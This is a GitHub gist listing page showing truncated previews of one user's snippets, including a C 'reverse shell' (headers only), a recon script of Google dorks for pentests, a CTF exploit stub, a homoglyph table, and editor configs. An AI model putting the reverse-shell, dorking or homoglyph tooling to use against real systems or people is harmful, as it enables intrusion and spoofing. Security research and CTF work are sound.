Skip to content

Instantly share code, notes, and snippets.

View SakiiR's full-sized avatar
🎯
Focusing

SakiiR SakiiR

🎯
Focusing
View GitHub Profile
@SakiiR
SakiiR / reverse-shell.c
Created October 18, 2021 14:06
C Reverse shell
// gcc /tmp/reverse-shell.c -o /tmp/test
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
@SakiiR
SakiiR / diabotical-suggestions.md
Last active July 20, 2021 09:00
Diabotical Sugestions

Time Trials

  • New High Score / World Record notification
  • Leaderboard
  • Ghost feature
    • Can be downloaded and set from player profiles
    • In game menu to handle this
  • Give permanent/persistent medals on profiles/leaderboard ( like cs:go medals or rocket league titles )
  • Add run demos on player profiles etc
@SakiiR
SakiiR / dorksMe.js
Last active May 10, 2021 03:03 — forked from S42X/dorksMe.js
Compilation of some dorks when doing bug bounty or pentest on a scope. This script will open like 37 tabs with all theses dorks. you can add yours.
/*
* You can test this script by opening your favorite console browser
* Then launch just 3 dorks with: dorksMe(`example.com`).slice(5,8).map( el => window.open(el))
* Or all the dorks with: dorksMe(`example.com`).map( el => window.open(el))
* Enjoy :)
* @_SaxX_
*/
function dorksMe(site) {
return [
@SakiiR
SakiiR / exploit.py
Created December 4, 2020 21:50
Dojo challenge #4 - Exploit Script
#!/usr/bin/env python
# @SakiiR
import z3
def format_chunks(m, chunks):
return "-".join([f"{int(str(m[c])):04d}" for c in chunks])
def doit_twice(s, chunks):
try:
@SakiiR
SakiiR / instructions.lst.c
Created February 11, 2018 09:22
GameBoy instructions list
#include "instructions.h"
const t_instruction g_instructions[] = {
/* 3.3.1 - 8 Bits Loads */
/* 1. LD nn, n */
/* Description: Put value nn into n */
/* Use with: */
/* nn = B,C,D,E,H,L,BC,DE,HL,SP */
/* n = 8 bit immediate value */
@SakiiR
SakiiR / archs.sh
Created August 18, 2020 13:15
Some architecture initrd (useful for reversing CTF challenge)
#!/bin/sh
# XeR
readonly HOST="http://ftp.fr.debian.org/";
readonly DIST="unstable";
readonly BASE="${HOST}/debian/dists/${DIST}/main/";
declare -A links
links["x86_64"]="/installer-amd64/current/images/cdrom/initrd.gz";
@SakiiR
SakiiR / homoglyphes.js
Last active July 25, 2020 16:10
Homoglyphes List
// Array.from("PIZZATO").map(c => CHAR_MAP[c][0]).join("")
const CHAR_MAP = {
"0": ["\u{1d476}", "\u{1d7f6}", "\u{1d6f0}", "\u{1d7e2}", "\u{1d7ec}", "\u{1d512}", "\u{1d442}", "\u{09e6}", "\u{07c0}", "\u{1d40e}", "\u{039f}", "\u{3007}", "\u{1d546}", "\u{ff2f}", "\u{0b66}", "\u{1d67e}", "\u{1d79e}", "\u{0555}", "\u{10516}", "\u{0d20}", "\u{0b20}", "\u{2d54}", "\u{10404}", "\u{118e0}", "\u{1d6b6}", "\u{114d0}", "\u{041e}", "\u{118b5}", "\u{1d72a}", "\u{1d7d8}", "\u{1d4aa}", "\u{1d57a}", "\u{ff10}", "\u{1d616}", "\u{1d764}", "\u{102ab}", "\u{10292}", "\u{1d4de}", "\u{a4f3}", "\u{004f}", "\u{2c9e}", "\u{1d7ce}", "\u{1d5ae}", "\u{1d64a}", "\u{1d5e2}"],
"1": ["\u{217c}", "\u{1ee80}", "\u{1d75e}", "\u{1d6ea}", "\u{1d48d}", "\u{1d644}", "\u{ff29}", "\u{10320}", "\u{fe8e}", "\u{2160}", "\u{0661}", "\u{007c}", "\u{0049}", "\u{1d55d}", "\u{1d5a8}", "\u{0196}", "\u{05df}", "\u{2c92}", "\u{1d4f5}", "\u{07ca}", "\u{2d4f}", "\u{0627}", "\u{2223}", "\u{1d43c}", "\u{1d5dc}", "\u{ff4c}", "\u{1d459}", "\u{1d7d9}", "\u{1
@SakiiR
SakiiR / dino.js
Created May 22, 2020 07:54
Google Chrome Dino Cheat (:
const a = Runner.prototype.gameOver ; Runner.prototype.gameOver = () => { Runner.instance_.currentSpeed += Runner.config.ACCELERATION; console.log("Lol ! Actually bypassed obstacle !") ; };
@SakiiR
SakiiR / hook.c
Created May 18, 2020 07:23
Defcon Quals 2020 - Babymaze hook.c
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
@SakiiR
SakiiR / vscode.json
Created April 16, 2020 13:46
Visual Studio Code - Configuration
{
"editor.tabCompletion": "on",
"workbench.useExperimentalGridLayout": true,
"editor.cursorStyle": "line-thin",
"files.autoSave": "onWindowChange",
"explorer.confirmDelete": false,
"vim.useSystemClipboard": true,
"terminal.integrated.fontFamily": "Monofur Nerd Font",
"editor.fontFamily": "Monofur Nerd Font",
"editor.fontLigatures": true,